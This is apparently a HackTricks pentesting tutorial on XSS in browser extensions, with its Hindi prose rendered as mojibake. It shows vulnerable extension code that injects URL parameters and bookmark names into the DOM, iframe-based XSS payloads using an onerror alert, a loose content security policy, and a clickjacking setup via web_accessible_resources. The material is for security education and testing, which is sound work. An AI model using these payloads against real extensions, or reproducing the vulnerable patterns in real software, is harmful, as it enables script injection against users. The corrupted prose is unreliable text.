hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

10 KiB
Raw Blame History

BrowExt - XSS Example

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Cross-Site Scripting (XSS) through Iframe

рдЗрд╕ рд╕реЗрдЯрдЕрдк рдореЗрдВ, рдПрдХ рдХрдВрдЯреЗрдВрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдПрдХ Iframe рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ Iframe рдХреЗ рд╕реНрд░реЛрдд рдХреЗ рд░реВрдк рдореЗрдВ рдХреНрд╡реЗрд░реА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдПрдХ URL рд╢рд╛рдорд┐рд▓ рд╣реИ:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

рдПрдХ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рд╕реБрд▓рдн HTML рдкреГрд╖реНрда, message.html, рдХреЛ URL рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╢рд░реАрд░ рдореЗрдВ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдХ рдкреНрд░рддрд┐рдХреВрд▓ рдХреЗ рдкреГрд╖реНрда рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреА рд╣реИ, рдЬреЛ Iframe рдХреЗ рд╕реНрд░реЛрдд рдХреЗ content рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддреА рд╣реИ рддрд╛рдХрд┐ рдПрдХ XSS рдкреЗрд▓реЛрдб рдкреЗрд╢ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ Iframe рдХреЗ рд╕реНрд░реЛрдд рдХреЛ рдПрдХ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдбреЗрдЯ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

рдПрдХ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ рдЬреИрд╕реЗ:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

JavaScript рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо XSS рд╣рдорд▓реЛрдВ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред

XSS рдХреЛ рдЙрддреНрддреЗрдЬрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рджреГрд╖реНрдЯрд┐рдХреЛрдг Iframe рддрддреНрд╡ рдмрдирд╛рдирд╛ рдФрд░ рдЗрд╕рдХреЗ рд╕реНрд░реЛрдд рдХреЛ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ content рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛ рд╣реИ:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

рдпрд╣ рдЙрджрд╛рд╣рд░рдг рдореВрд▓ рдкреЛрд╕реНрдЯ рд▓реЗрдЦ рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

рдореБрдЦреНрдп рд╕рдорд╕реНрдпрд╛ /html/bookmarks.html рдореЗрдВ рд╕реНрдерд┐рдд рдПрдХ DOM-рдЖрдзрд╛рд░рд┐рдд рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ (XSS) рднреЗрджреНрдпрддрд╛ рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИред рд╕рдорд╕реНрдпрд╛ рд╡рд╛рд▓реА JavaScript, рдЬреЛ bookmarks.js рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИ, рдиреАрдЪреЗ рд╡рд┐рд╕реНрддреГрдд рдХреА рдЧрдИ рд╣реИ:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

рдпрд╣ рд╕реНрдирд┐рдкреЗрдЯ txtName рдЗрдирдкреБрдЯ рдлрд╝реАрд▓реНрдб рд╕реЗ рдорд╛рди рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ HTML рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╕рдВрдпреЛрдЬрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдлрд┐рд░ jQuery рдХреЗ .append() рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ DOM рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЖрдорддреМрд░ рдкрд░, Chrome рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреА рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (CSP) рдРрд╕реА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рд░реЛрдХрддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, тАШunsafe-evalтАЩ рдХреЗ рд╕рд╛рде CSP рдореЗрдВ рдвреАрд▓ рдФрд░ jQuery рдХреЗ DOM рд╣реЗрд░рдлреЗрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ (рдЬреЛ globalEval() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ eval() рдкрд░ DOM рд╕рдореНрдорд┐рд▓рди рдХреЗ рд╕рдордп рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ) рдХреЗ рдХрд╛рд░рдг, рд╢реЛрд╖рдг рдЕрднреА рднреА рд╕рдВрднрд╡ рд╣реИред

рд╣рд╛рд▓рд╛рдВрдХрд┐ рдпрд╣ рдХрдордЬреЛрд░реА рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ, рдЗрд╕рдХрд╛ рд╢реЛрд╖рдг рдЖрдорддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ: рдкреГрд╖реНрда рдкрд░ рдЬрд╛рдирд╛, XSS рдкреЗрд▓реЛрдб рджрд░реНрдЬ рдХрд░рдирд╛, рдФрд░ тАЬAddтАЭ рдмрдЯрди рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдирд╛ред

рдЗрд╕ рдХрдордЬреЛрд░реА рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рджреНрд╡рд┐рддреАрдпрдХ рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ рдХрдордЬреЛрд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред Chrome рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдореИрдирд┐рдлреЗрд╕реНрдЯ рдПрдХ рд╡рд┐рд╕реНрддреГрдд web_accessible_resources рдиреАрддрд┐ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Notably, the /html/bookmarks.html рдкреГрд╖реНрда рдлреНрд░реЗрдорд┐рдВрдЧ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ clickjacking рдХреЗ рд▓рд┐рдП рдХрдордЬреЛрд░ рд╣реИред рдЗрд╕ рдХрдордЬреЛрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣рдорд▓рд╛рд╡рд░ рдХреА рд╕рд╛рдЗрдЯ рдХреЗ рднреАрддрд░ рдкреГрд╖реНрда рдХреЛ рдлреНрд░реЗрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕реЗ DOM рддрддреНрд╡реЛрдВ рдХреЗ рд╕рд╛рде рдУрд╡рд░рд▓реЗ рдХрд░рдХреЗ рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рдзреЛрдЦреЗ рд╕реЗ redesign рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╣реЗрд░рдлреЗрд░ рдкреАрдбрд╝рд┐рддреЛрдВ рдХреЛ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}